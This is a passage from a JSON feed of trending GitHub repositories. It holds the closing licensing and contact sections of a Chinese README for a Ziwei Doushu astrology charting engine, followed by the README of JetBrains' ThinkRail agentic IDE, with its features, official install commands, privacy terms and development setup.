\u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0</td> \n  </tr> \n  <tr> \n   <td>\u274c <strong>\u4e0d\u5f00\u6e90</strong></td> \n   <td>\u65ad\u8bed\u5e93\uff08<code>lib/ziwei/db-analysis.ts</code> \u662f\u5360\u4f4d\uff0c\u7ebf\u4e0a\u662f\u4e0a\u4e07\u884c\u7684 13 \u4e3b\u9898\u65ad\u8bed\uff09\u3001AI \u89e3\u8bfb prompt\u3001\u540e\u7aef API\uff08<code>/api/interpret</code> \u7b49\uff09\u3001\u7528\u6237\u7cfb\u7edf\uff08\u767b\u5f55 / \u4f1a\u5458 / \u652f\u4ed8\uff09\u3001\u670d\u52a1\u7aef\u5b89\u5168\uff08\u7b7e\u540d\u3001\u9632\u5237\u3001\u6c34\u5370\uff09\u3001\u90e8\u7f72\u914d\u7f6e</td> \n  </tr> \n </tbody> \n</table> \n<p>\u5982\u679c\u4f60\u9700\u8981 AI \u89e3\u8bfb\u80fd\u529b\uff0c\u53ef\u4ee5\u53c2\u8003 <code>lib/ziwei/patterns.ts</code> \u548c <code>heming-knowledge.ts</code> \u91cc\u7684\u77e5\u8bc6\u5e93\uff0c\u7ed3\u5408\u4efb\u610f LLM \u81ea\u884c\u6784\u5efa prompt\u3002</p> \n<hr /> \n<h2>\u516b\u3001\u7ef4\u62a4\u8282\u594f\u4e0e\u8d21\u732e</h2> \n<p>\u8fd9\u4e2a\u4ed3\u5e93\u662f<strong>\u6392\u76d8\u5f15\u64ce + \u6570\u636e\u96c6\u7684\u5f00\u653e\u5feb\u7167</strong>\uff0c\u4e0d\u662f\u4e00\u4e2a\u5168\u804c\u7ef4\u62a4\u7684\u5f00\u6e90\u4ea7\u54c1\uff0c\u8bf4\u6e05\u695a\u514d\u5f97\u5927\u5bb6\u731c\uff1a</p> \n<ul> \n <li><strong>\u5f15\u64ce\u540c\u6b65</strong>\uff1a\u968f\u7ebf\u4e0a\u53d1\u7248\u540c\u6b65 <code>lib/ziwei/</code> \u7684\u5f15\u64ce\u5c42\u5e76\u6253 tag\uff1b\u65ad\u8bed\u5e93\u3001AI \u89e3\u8bfb\u3001\u5546\u4e1a\u7ad9\u524d\u7aef\u4e0d\u5728\u540c\u6b65\u8303\u56f4\u5185\u3002</li> \n <li><strong>Issue</strong>\uff1a\u4f1a\u770b\uff0c\u4f46\u56de\u590d\u53ef\u80fd\u4e0d\u53ca\u65f6\uff1b\u5e26\u590d\u73b0\u6b65\u9aa4\u6216\u5177\u4f53\u76d8\u4f8b\uff08\u5e74\u6708\u65e5\u65f6 + \u6027\u522b + \u54ea\u4e00\u6761\u4e0d\u5bf9\uff09\u7684\u95ee\u9898\u4f18\u5148\u5904\u7406\u3002</li> \n <li><strong>PR</strong>\uff1a\u6b22\u8fce\uff0c\u5c24\u5176\u662f\u56de\u5f52\u6d4b\u8bd5\u3001\u53e3\u5f84\u4fee\u6b63\u3001\u6587\u6863\u3002\u52a8\u5230\u6392\u76d8\u53e3\u5f84\u7684\u6539\u52a8\u8bf7\u9644\u4e0a\u4f9d\u636e\uff08\u53e4\u7c4d\u539f\u6587\u6216\u53ef\u6838\u5bf9\u7684\u5bf9\u7167\uff09\u3002</li> \n</ul> \n<hr /> \n<h2>\u4e5d\u3001\u534f\u8bae</h2> \n<p>\u672c\u4ed3\u5e93\u5206\u56db\u90e8\u5206\u6388\u6743\u3002\u524d\u4e09\u90e8\u5206\u662f\u5bbd\u677e\u534f\u8bae\uff0c<strong>\u5546\u7528\u6ca1\u6709\u9650\u5236</strong>\uff1b\u502a\u5e08\u539f\u8bdd\u76ee\u5f55<strong>\u4e0d\u8bb8\u5546\u7528</strong>\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u5185\u5bb9</th> \n   <th>\u534f\u8bae</th> \n   <th>\u7b80\u5355\u8bf4</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><strong>\u4ee3\u7801</strong>\uff08<code>lib/</code>\u3001<code>app/</code>\u3001<code>components/</code>\uff09</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/LICENSE\">MIT License</a></td> \n   <td>\u62ff\u53bb\u968f\u4fbf\u7528\uff0c\u4fdd\u7559 LICENSE \u6587\u4ef6\u5373\u53ef</td> \n  </tr> \n  <tr> \n   <td><strong>\u6570\u636e</strong>\uff08Releases \u4e2d\u7684 51.8 \u4e07\u6837\u672c\u6570\u636e\u96c6 v3.0\u300113 \u7ef4\u89e3\u8bfb\u6570\u636e\u96c6 v4.0\uff09</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/DATASET-LICENSE\">CC BY 4.0</a> \u00b7 \u8981\u6c42 attribution</td> \n   <td>\u5546\u7528\u4e5f\u884c\uff0c<strong>\u6ce8\u660e\u6570\u636e\u6765\u6e90\u5373\u53ef</strong></td> \n  </tr> \n  <tr> \n   <td><strong>\u53e4\u7c4d\u539f\u6587</strong>\uff08\u9aa8\u9ad3\u8d4b\u3001\u7d2b\u5fae\u6597\u6570\u5168\u96c6 / \u5168\u4e66\u7b49\uff09</td> \n   <td>Public Domain</td> \n   <td>\u53e4\u4e66\u90fd\u662f\u516c\u6709\u9886\u57df\uff0c\u4e0d\u5b58\u5728\u7248\u6743</td> \n  </tr> \n  <tr> \n   <td><strong>\u502a\u5e08\u539f\u8bdd</strong>\uff08<a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/\"><code>docs/tianji-ziwei/</code></a>\uff09</td> \n   <td><a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/docs/tianji-ziwei/LICENSE.md\">CC BY-NC-SA 4.0</a></td> \n   <td>\u53ef\u4ee5\u5f15\u7528\u3001\u8f6c\u8f7d\uff0c\u6ce8\u660e\u51fa\u5904\uff1b<strong>\u4e0d\u8bb8\u5546\u7528</strong>\uff0c\u6539\u7f16\u540e\u7528\u540c\u6837\u534f\u8bae</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>\u4e00\u53e5\u8bdd</strong>\uff1a\u4ee3\u7801\u548c\u6570\u636e\u62ff\u53bb\u7528\uff0c\u5546\u7528\u4e5f\u884c\uff0c\u628a\u6765\u6e90\u94fe\u63a5\u5e26\u4e0a\u5c31\u884c\uff1b\u502a\u5e08\u539f\u8bdd\u53ea\u9650\u975e\u5546\u4e1a\u7684\u5b66\u4e60\u7814\u7a76\uff08\u6570\u636e\u96c6\u89e3\u8bfb\u91cc\u5f15\u7528\u7684\u502a\u5e08\u539f\u8bdd\u540c\u6837\u4e0d\u5728\u6570\u636e\u6388\u6743\u8303\u56f4\u5185\uff09\u3002</p> \n<hr /> \n<h2>\u5341\u3001\u5173\u4e8e\u4e0e\u8054\u7cfb</h2> \n<h3>\u9879\u76ee\u7406\u5ff5</h3> \n<p>\u89c1\u672c\u9875\u5f00\u5934\u3002\u60f3\u81ea\u5df1\u642d\uff1f\u4ee3\u7801\u90fd\u5728\u8fd9\u91cc\uff0c\u62ff\u53bb\u7528\u3002\u5acc\u9ebb\u70e6\uff1f\u6765 <a href=\"https://metisziwei.com/?from=gh-readme\">metisziwei.com</a> \u76f4\u63a5\u7528\u3002</p> \n<h3>\u6280\u672f\u6808</h3> \n<ul> \n <li><strong>\u6846\u67b6</strong>\uff1aNext.js 16\uff08App Router\uff09</li> \n <li><strong>\u8bed\u8a00</strong>\uff1aTypeScript</li> \n <li><strong>\u6837\u5f0f</strong>\uff1aTailwind CSS + CSS Variables \u8bbe\u8ba1\u7cfb\u7edf</li> \n <li><strong>\u6392\u76d8</strong>\uff1a\u57fa\u4e8e <a href=\"https://github.com/SylarLong/iztro\">iztro</a> + lunar-javascript</li> \n <li><strong>\u52a8\u753b</strong>\uff1aFramer Motion</li> \n</ul> \n<h3>\u8054\u7cfb</h3> \n<ul> \n <li>\u7ebf\u4e0a\u5e73\u53f0\uff1a<a href=\"https://metisziwei.com/?from=gh-readme\">metisziwei.com</a>\uff08\u5df2\u5b8c\u6210 ICP \u5907\u6848\uff1a\u6e1dICP\u59072026013379\u53f7-1\uff09</li> \n <li>\u63d0\u95ee\u9898\u3001\u63d0\u4fee\u590d\uff1a\u89c1 <a href=\"https://raw.githubusercontent.com/Renhuai123/ziwei-doushu/main/CONTRIBUTING.md\">CONTRIBUTING.md</a>\uff1b\u4f7f\u7528\u4ea4\u6d41\u8bf7\u5230 <a href=\"https://github.com/Renhuai123/ziwei-doushu/discussions\">\u8ba8\u8bba\u533a</a></li> \n <li>\ud83d\udc95 \u53d1\u8d22\u7684\u5c0f\u624b\u70b9\u4e00\u4e0b\uff1a\u5c0f\u7ea2\u4e66 / \u6296\u97f3 / \u95f2\u9c7c / X \u5173\u6ce8 <strong>\u738b\u591a\u9c7cAI</strong>\uff0c\u7b2c\u4e00\u65f6\u95f4\u770b\u4e0a\u7ebf + \u89e3\u9501\u66f4\u591a\u7d2b\u5fae\u5e72\u8d27\uff5e</li> \n</ul>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/JetBrains/thinkrail", "url": "https://github.com/JetBrains/thinkrail", "external_url": null, "title": "JetBrains/thinkrail", "content_text": "", "content_html": "<p>Vibe code with pi in a lightweight, real IDE that customises itself around the way you work \u2014 The Vibe You Need</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://thinkrail.ai/\">https://thinkrail.ai/</a></p><hr /><h1>ThinkRail</h1> \n<p><a href=\"https://confluence.jetbrains.com/display/ALL/JetBrains+on+GitHub\"><img alt=\"JetBrains incubator project\" src=\"https://jb.gg/badges/incubator-plastic.svg?sanitize=true\" /></a> <a href=\"https://star-history.com/#JetBrains/thinkrail&amp;Date\"><img alt=\"GitHub stars\" src=\"https://img.shields.io/github/stars/JetBrains/thinkrail?style=social\" /></a></p> \n<p>ThinkRail is the agentic IDE that gets better every time you use it \u2014 learning your project through living specs today, and building its own capabilities tomorrow.</p> \n<p>We built a rich interface around the <a href=\"https://www.npmjs.com/package/@earendil-works/pi-coding-agent\"><code>pi</code></a> coding agent, isolated work into separate workspaces, and gave the agent durable project knowledge through living specs and reusable skills. Next, we're adding full extension support, so ThinkRail can create the tools it needs based on how you actually work.</p> \n<p><strong>Website:</strong> <a href=\"https://thinkrail.ai/\">thinkrail.ai</a> \u00b7 <strong>Blog:</strong> <a href=\"https://thinkrail.ai/blog/\">thinkrail.ai/blog</a></p> \n<p>\u2b50 If you find ThinkRail useful, give it a star \u2014 it helps others discover it.</p> \n \n <source media=\"(prefers-color-scheme: dark)\" /> \n <img alt=\"ThinkRail workbench: the Projects pane beside the left tool rail listing worktree workspaces and their Settled shelf, a finished pi conversation with its tool steps in the center, the resulting diff beside it, and the Specs tree above the Changes list on the right with their tools on the edge rail\" src=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/.github/readme-assets/workbench-light.png\" width=\"900\" /> \n \n<p><em>A <code>pi</code> session and the change it made, scoped to an isolated git-worktree workspace.</em></p> \n<h2>What you get</h2> \n<ul> \n <li><strong>Isolated workspaces.</strong> Open any git repo as a project and cut workspaces from it as <code>git worktree</code>s, each with its own branch and working directory. Agents work in parallel without touching your checkout; merge the good branch, delete the rest. You can also attach existing worktrees or explicitly work in the project folder itself. Finished and dormant workspaces settle onto a per-project shelf on their own \u2014 when their pull request merges or closes, or after a quiet week \u2014 and come back the moment you work in them. The topbar shows where the active branch stands against <code>origin</code> and its pull request, with the next step one click away: publish, push, or open a PR described from the plan, the commits, your PR template, or an agent-written draft. Once a GitHub PR is open it shows the CI checks and review decision, and lets you mark it ready, hand failing checks or a diverged branch to the agent, merge it with the repository's last-used method, reopen it, or delete the remote branch.</li> \n <li><strong>A real IDE around the agent.</strong> A splittable workbench of Monaco editor tabs, a Files tree with live git change marks and a Changed view, terminals, and documents \u2014 all scoped to the active workspace. Leave anchored review comments on files and diffs and send them to a chat as structured context, or open the worktree in your installed IDE.</li> \n <li><strong>Chats that stream like the engine thinks.</strong> Several concurrent <code>pi</code> sessions per workspace, each with its own model and live token and cost readout. Steer a running turn or queue a follow-up, delegate to subagents, and work a shared plan the agent updates and you edit \u2014 each completed step can be committed and reviewed on its own.</li> \n <li><strong>Specs as ground truth.</strong> A connected graph of <code>SPEC.md</code> files lives beside the code; the agent reads, searches, and maintains it through dedicated <code>spec_*</code> tools, so intent survives the session. The read-only Specs tool renders the graph as a tree in the workbench.</li> \n <li><strong>Skills and workflows.</strong> Portable Agent Skills you already keep for other coding agents are read in place, and bundled workflows guide project setup, design brainstorming, and shipping a pull request \u2014 pushing the workspace branch and opening or updating its GitHub PR through your own <code>gh</code>.</li> \n <li><strong>Agent tools beyond the shell.</strong> Web research, and inline diagrams, option comparisons and file previews rendered right in the chat \u2014 when the agent proposes a UI change it shows a before/after mockup you can comment on like a diff. Settings \u2192 Extensions lists the ThinkRail extensions the agent gets and lets you switch each one off.</li> \n <li><strong>MCP servers.</strong> Connect the MCP servers in your <code>pi</code> <code>mcp.json</code> (or add them, and a few presets, from Settings): ThinkRail asks in the chat before calls the server does not mark read-only (or always allows the tools you trust in a project), keeps servers a repository defines off until you approve them, signs you in to OAuth servers from Settings, and shows each chat's servers next to its background commands and subagents.</li> \n <li><strong>Your providers, your credentials.</strong> Sign in with <a href=\"https://www.jetbrains.com/ai/\">JetBrains AI</a> or connect any provider through <code>pi</code>'s own auth. ThinkRail has no accounts of its own.</li> \n <li><strong>Desktop app or browser.</strong> A native desktop app, or the <code>thinkrail</code> CLI that opens the same app in your browser. Both embed the same engine host; app state lives under <code>~/.thinkrail</code>.</li> \n <li><strong>Your language.</strong> Settings \u2192 Language follows your system language or a language you pick; English and Simplified Chinese are built in. Add a language ThinkRail doesn't ship yet by dropping a translated <code>en.json</code> into <code>~/.thinkrail/locales</code> \u2014 it applies as you save. Agent replies and tool output stay as the agent wrote them.</li> \n</ul> \n \n <source media=\"(prefers-color-scheme: dark)\" /> \n <img alt=\"The Specs tool, opened from the right edge rail, listing the project's spec tree while the product goal spec is rendered in the editor\" src=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/.github/readme-assets/specs-light.png\" width=\"900\" /> \n \n<p><em>The project's spec graph as a tree, with the spec itself rendered alongside.</em></p> \n<h2>Install</h2> \n<p>ThinkRail ships in two additive forms: a native desktop installer and the self-contained <code>thinkrail</code> CLI. Both are published with <code>SHA256SUMS</code> on the <a href=\"https://github.com/JetBrains/thinkrail/releases\">releases page</a>.</p> \n<h3>Desktop</h3> \n<p>Download the <code>thinkrail-desktop-*</code> asset for your platform:</p> \n<ul> \n <li> <p><strong>macOS (Apple Silicon)</strong> \u2014 open the DMG. There is no Intel desktop build.</p> </li> \n <li> <p><strong>Windows x64</strong> \u2014 extract the complete setup ZIP, then run its setup executable in place, next to its payload.</p> </li> \n <li> <p><strong>Linux x64 / ARM64</strong> \u2014 extract the setup tarball and run <code>installer</code>. Desktop builds need glibc 2.38+ with GTK 3, WebKitGTK 4.1, Ayatana AppIndicator 3, and librsvg 2 \u2014 Ubuntu 24.04 or newer:</p> <pre><code class=\"language-bash\">sudo apt install libgtk-3-0 libwebkit2gtk-4.1-0 libayatana-appindicator3-1 librsvg2-2\n</code></pre> </li> \n</ul> \n<p>Packaged stable and nightly desktop builds check for updates in the background and offer them in <strong>Settings \u2192 Updates</strong>: <strong>Download</strong> \u2192 <strong>Preparing update</strong> \u2192 <strong>Install &amp; Restart</strong>. Nothing is applied until you choose <strong>Install &amp; Restart</strong>. ThinkRail then shows the installation's progress and log, closes, and reopens on the new version. After the restart it tells you whether the update installed. If it didn't, it explains why and offers to retry. The updater appears only when the package carries a valid HTTPS feed identity; installations that predate that identity need one manual installation first.</p> \n<h3>Command line</h3> \n<p>The installer downloads the right binary, verifies its SHA-256 checksum, and puts <code>thinkrail</code> on your PATH.</p> \n<p><strong>macOS / Linux</strong> (also Windows under Git Bash):</p> \n<pre><code class=\"language-bash\">curl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash\n</code></pre> \n<p><strong>Windows</strong> \u2014 the same command works from cmd and PowerShell:</p> \n<pre><code class=\"language-powershell\">powershell -c \"irm https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.ps1 | iex\"\n</code></pre> \n<p>Then run <code>thinkrail</code>, optionally with a git repo to open as a project:</p> \n<pre><code class=\"language-bash\">thinkrail ~/code/my-repo\n</code></pre> \n<p><code>thinkrail</code> needs <code>git</code> on your PATH and a model provider \u2014 sign in with JetBrains AI from the app or use your own provider credentials. <code>thinkrail --help</code> lists the flags; <code>thinkrail --version</code> prints the build.</p> \n<details> \n <strong>Nightly builds, pinned versions, updates, and uninstall</strong> \n <p>The installer takes <code>--channel stable|nightly</code> and <code>--version</code>; a pinned version must belong to the selected channel:</p> \n <pre><code class=\"language-bash\">curl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash -s -- --channel nightly\ncurl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash -s -- --channel stable --version 0.1.2\ncurl -fsSL https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.sh | bash -s -- --channel nightly --version 0.2.0-nightly.10\n</code></pre> \n <p>On Windows the options are environment variables (<code>THINKRAIL_CHANNEL</code>, <code>THINKRAIL_VERSION</code>, <code>THINKRAIL_PREFIX</code>, <code>THINKRAIL_NO_MODIFY_PATH</code>):</p> \n <pre><code class=\"language-powershell\">$env:THINKRAIL_CHANNEL='nightly'; irm https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.ps1 | iex   # PowerShell\nset \"THINKRAIL_CHANNEL=stable\" &amp;&amp; set \"THINKRAIL_VERSION=0.1.2\" &amp;&amp; powershell -c \"irm https://raw.githubusercontent.com/JetBrains/thinkrail/main/install.ps1 | iex\"   # cmd\n</code></pre> \n <p>Installed stable and nightly CLI hosts periodically offer <strong>Run Update</strong> in <strong>Settings \u2192 Updates</strong>. It runs the host machine's <code>thinkrail update</code> in the background \u2014 also when the UI is open in a browser on another machine \u2014 and a successful update asks you to restart the host manually. You can run <code>thinkrail update</code> directly on any platform: it re-runs the installer for the installed channel and replaces <code>&lt;prefix&gt;/bin/thinkrail[.exe]</code>; pass <code>--channel</code> or <code>--version</code> only for an explicit override.</p> \n <p><code>thinkrail uninstall</code> removes the executable, the PATH entry the installer added, and the install metadata, and asks whether to delete your <code>~/.thinkrail</code> app state (kept by default \u2014 <code>--remove-data</code> deletes it, <code>-y</code> skips the questions).</p> \n <p>Prefer a manual install? Download a binary and <code>SHA256SUMS</code> from the releases page and verify the checksum. For self-update to work, rename it to <code>thinkrail</code> (<code>thinkrail.exe</code> on Windows) and place it at <code>&lt;prefix&gt;/bin/thinkrail[.exe]</code>; a binary kept under its release filename or elsewhere must be replaced manually or reinstalled with the script.</p> \n</details> \n<h3>Platform notes</h3> \n<table> \n <thead> \n  <tr> \n   <th>Platform</th> \n   <th>Desktop</th> \n   <th>CLI</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>macOS Apple Silicon</td> \n   <td>DMG</td> \n   <td>signed binary</td> \n  </tr> \n  <tr> \n   <td>macOS Intel</td> \n   <td>no Electrobun build</td> \n   <td>not prebuilt \u2014 <a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/#developing-thinkrail\">build from source</a></td> \n  </tr> \n  <tr> \n   <td>Windows x64</td> \n   <td>signed setup executable and app binaries</td> \n   <td>signed <code>.exe</code></td> \n  </tr> \n  <tr> \n   <td>Linux x64 / ARM64</td> \n   <td>setup tarball, unsigned</td> \n   <td>unsigned</td> \n  </tr> \n </tbody> \n</table> \n<p>JetBrains signs the Windows CLI, the desktop setup executable, and every executable and DLL the desktop app installs. The macOS CLI is signed but not yet notarized. Signed and notarized desktop DMGs require the coordinated JetBrains service pipeline; older published DMGs and locally built packages may still be unsigned and blocked by Gatekeeper. Linux artifacts are unsigned.</p> \n<h2>Analytics &amp; privacy</h2> \n<p>ThinkRail collects basic usage events \u2014 launches, chat creation, message sends, provider connections \u2014 tied to a random installation ID. Usage analytics never include prompts, code, files, credentials, or account identity. Error reports are also always sent, tied to the same installation ID, so we can fix crashes: the error type and code and where in ThinkRail's own code it happened. They never include error messages, file paths, names, URLs, or anything from your projects or extensions. Additional product usage and how you found ThinkRail are shared only while <strong>Share additional usage data</strong> is on; the switch is offered at first launch and lives in <strong>Settings \u2192 Privacy</strong>. When launching from the command line, <code>thinkrail --no-analytics</code> (or <code>THINKRAIL_NO_ANALYTICS=1</code>) turns additional sharing off for that run. With additional sharing on, a packaged build may open the ThinkRail blog in your browser once to link your installation to the website visit that brought you here \u2014 only where you accepted marketing cookies on the website or no consent is required \u2014 and that link expires after 30 days.</p> \n<h2>Under the hood</h2> \n<p>ThinkRail is a thin host that runs <code>pi</code> in-process and bridges it to a rich web UI. <code>pi</code> owns models, skills, compaction, cost, and session state; the app owns the workspace, the editor, and the wire \u2014 it never assembles prompts behind your back. Three rings:</p> \n<ul> \n <li><strong>Engine host</strong> \u2014 <code>packages/server</code> (+ <code>packages/shared</code>): a <code>Bun.serve</code> HTTP+WS host with one in-process <code>pi</code> session per chat, launched by <code>apps/cli</code> or <code>apps/desktop</code>.</li> \n <li><strong>The wire</strong> \u2014 <code>packages/contracts</code>: the typed, versioned protocol between host and UI.</li> \n <li><strong>UI client</strong> \u2014 <code>apps/web</code>: React 19 + Zustand + Tailwind v4, shipped independently; it dials a host over the wire and depends on the contracts only.</li> \n</ul> \n<p><a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/goal-and-requirements.md\"><code>goal-and-requirements.md</code></a> and <a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/architecture.md\"><code>architecture.md</code></a> are the canonical product and design specs. ThinkRail is developed spec-first: a <code>SPEC.md</code> sits beside every module, and a change that moves a boundary, contract, or decision updates the spec in the same change.</p> \n<h2>Developing ThinkRail</h2> \n<p>You need <strong>Bun</strong> 1.4.4 (the pinned package manager and runtime), <strong>Node.js</strong> \u2265 22.19 (required by the in-process <code>pi</code> engine), and an authenticated <code>pi</code> provider for agent work.</p> \n<pre><code class=\"language-bash\">git clone https://github.com/JetBrains/thinkrail.git\ncd thinkrail\nbun install\nbun run dev                          # host + web client together; Ctrl+C stops both\n</code></pre> \n<pre><code class=\"language-bash\">bun run --filter @thinkrail/cli dev  # browser launcher\nbun run build:binary                 # standalone CLI artifact\nbun run desktop:dev                  # package and open the Electrobun app\nbun run desktop:build                # package without opening it\n</code></pre> \n<p><a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/CONTRIBUTING.md\"><code>CONTRIBUTING.md</code></a> covers the checks, the end-to-end suites, desktop packaging, and the repository layout.</p> \n<h2>Contributing</h2> \n<p>Contributions are welcome \u2014 see <a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/CONTRIBUTING.md\"><code>CONTRIBUTING.md</code></a>. This project and community are governed by the <a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/CODE_OF_CONDUCT.md\">Code of Conduct</a>.</p> \n<h2>License</h2> \n<p>Licensed under the <a href=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/LICENSE\">Apache License 2.0</a>.</p>", "summary": "<p>Vibe code with pi in a lightweight, real IDE that customises itself around the way you work \u2014 The Vibe You Need</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://thinkrail.ai/\">https://thinkrail.ai/</a></p><hr /><h1>ThinkRail</h1> \n<p><a href=\"https://confluence.jetbrains.com/display/ALL/JetBrains+on+GitHub\"><img alt=\"JetBrains incubator project\" src=\"https://jb.gg/badges/incubator-plastic.svg?sanitize=true\" /></a> <a href=\"https://star-history.com/#JetBrains/thinkrail&amp;Date\"><img alt=\"GitHub stars\" src=\"https://img.shields.io/github/stars/JetBrains/thinkrail?style=social\" /></a></p> \n<p>ThinkRail is the agentic IDE that gets better every time you use it \u2014 learning your project through living specs today, and building its own capabilities tomorrow.</p> \n<p>We built a rich interface around the <a href=\"https://www.npmjs.com/package/@earendil-works/pi-coding-agent\"><code>pi</code></a> coding agent, isolated work into separate workspaces, and gave the agent durable project knowledge through living specs and reusable skills. Next, we're adding full extension support, so ThinkRail can create the tools it needs based on how you actually work.</p> \n<p><strong>Website:</strong> <a href=\"https://thinkrail.ai/\">thinkrail.ai</a> \u00b7 <strong>Blog:</strong> <a href=\"https://thinkrail.ai/blog/\">thinkrail.ai/blog</a></p> \n<p>\u2b50 If you find ThinkRail useful, give it a star \u2014 it helps others discover it.</p> \n \n <source media=\"(prefers-color-scheme: dark)\" /> \n <img alt=\"ThinkRail workbench: the Projects pane beside the left tool rail listing worktree workspaces and their Settled shelf, a finished pi conversation with its tool steps in the center, the resulting diff beside it, and the Specs tree above the Changes list on the right with their tools on the edge rail\" src=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/.github/readme-assets/workbench-light.png\" width=\"900\" /> \n \n<p><em>A <code>pi</code> session and the change it made, scoped to an isolated git-worktree workspace.</em></p> \n<h2>What you get</h2> \n<ul> \n <li><strong>Isolated workspaces.</strong> Open any git repo as a project and cut workspaces from it as <code>git worktree</code>s, each with its own branch and working directory. Agents work in parallel without touching your checkout; merge the good branch, delete the rest. You can also attach existing worktrees or explicitly work in the project folder itself. Finished and dormant workspaces settle onto a per-project shelf on their own \u2014 when their pull request merges or closes, or after a quiet week \u2014 and come back the moment you work in them. The topbar shows where the active branch stands against <code>origin</code> and its pull request, with the next step one click away: publish, push, or open a PR described from the plan, the commits, your PR template, or an agent-written draft. Once a GitHub PR is open it shows the CI checks and review decision, and lets you mark it ready, hand failing checks or a diverged branch to the agent, merge it with the repository's last-used method, reopen it, or delete the remote branch.</li> \n <li><strong>A real IDE around the agent.</strong> A splittable workbench of Monaco editor tabs, a Files tree with live git change marks and a Changed view, terminals, and documents \u2014 all scoped to the active workspace. Leave anchored review comments on files and diffs and send them to a chat as structured context, or open the worktree in your installed IDE.</li> \n <li><strong>Chats that stream like the engine thinks.</strong> Several concurrent <code>pi</code> sessions per workspace, each with its own model and live token and cost readout. Steer a running turn or queue a follow-up, delegate to subagents, and work a shared plan the agent updates and you edit \u2014 each completed step can be committed and reviewed on its own.</li> \n <li><strong>Specs as ground truth.</strong> A connected graph of <code>SPEC.md</code> files lives beside the code; the agent reads, searches, and maintains it through dedicated <code>spec_*</code> tools, so intent survives the session. The read-only Specs tool renders the graph as a tree in the workbench.</li> \n <li><strong>Skills and workflows.</strong> Portable Agent Skills you already keep for other coding agents are read in place, and bundled workflows guide project setup, design brainstorming, and shipping a pull request \u2014 pushing the workspace branch and opening or updating its GitHub PR through your own <code>gh</code>.</li> \n <li><strong>Agent tools beyond the shell.</strong> Web research, and inline diagrams, option comparisons and file previews rendered right in the chat \u2014 when the agent proposes a UI change it shows a before/after mockup you can comment on like a diff. Settings \u2192 Extensions lists the ThinkRail extensions the agent gets and lets you switch each one off.</li> \n <li><strong>MCP servers.</strong> Connect the MCP servers in your <code>pi</code> <code>mcp.json</code> (or add them, and a few presets, from Settings): ThinkRail asks in the chat before calls the server does not mark read-only (or always allows the tools you trust in a project), keeps servers a repository defines off until you approve them, signs you in to OAuth servers from Settings, and shows each chat's servers next to its background commands and subagents.</li> \n <li><strong>Your providers, your credentials.</strong> Sign in with <a href=\"https://www.jetbrains.com/ai/\">JetBrains AI</a> or connect any provider through <code>pi</code>'s own auth. ThinkRail has no accounts of its own.</li> \n <li><strong>Desktop app or browser.</strong> A native desktop app, or the <code>thinkrail</code> CLI that opens the same app in your browser. Both embed the same engine host; app state lives under <code>~/.thinkrail</code>.</li> \n <li><strong>Your language.</strong> Settings \u2192 Language follows your system language or a language you pick; English and Simplified Chinese are built in. Add a language ThinkRail doesn't ship yet by dropping a translated <code>en.json</code> into <code>~/.thinkrail/locales</code> \u2014 it applies as you save. Agent replies and tool output stay as the agent wrote them.</li> \n</ul> \n \n <source media=\"(prefers-color-scheme: dark)\" /> \n <img alt=\"The Specs tool, opened from the right edge rail, listing the project's spec tree while the product goal spec is rendered in the editor\" src=\"https://raw.githubusercontent.com/JetBrains/thinkrail/main/.github/readme-assets/specs-light.png\" width=\"900\" /> \n \n<p><em>The project's spec graph as a tree, with the spec itself rendered alongside.</em></p> \n<h2>Install</h2> \n<p>ThinkRail ships in two additive forms: a native desktop installer and the self-contained <code>thinkrail</code> CLI. Both are published with <code>SHA256SUMS</code> on the <a href=\"https://github.com/JetBrains/thinkrail/releases\">releases page</a>.</p> \n<h3>Desktop</h3> \n<p>Download the <code>thinkrail-desktop-*</code> asset for your platform:</p> \n<ul> \n <li> <p><strong>macOS (Apple Silicon)</strong> \u2014 open the DMG. There is no Intel desktop build.</p> </li> \n <li> <p><strong>Windows x64</strong> \u2014 extract the complete setup ZIP, then run its setup executable in place, next to its payload.</p> </li> \n <li> <p><strong>Linux x64 / ARM64</strong> \u2014 extract the setup tarball and run <code>installer</code>. Desktop builds need glibc 2.38+ with GTK 3, WebKitGTK 4.1, Ayatana AppIndicator 3, and librsvg 2 \u2014 Ubuntu 24.04 or newer:</p> <pre><code class=\"language-bash\">sudo apt install libgtk-3-0 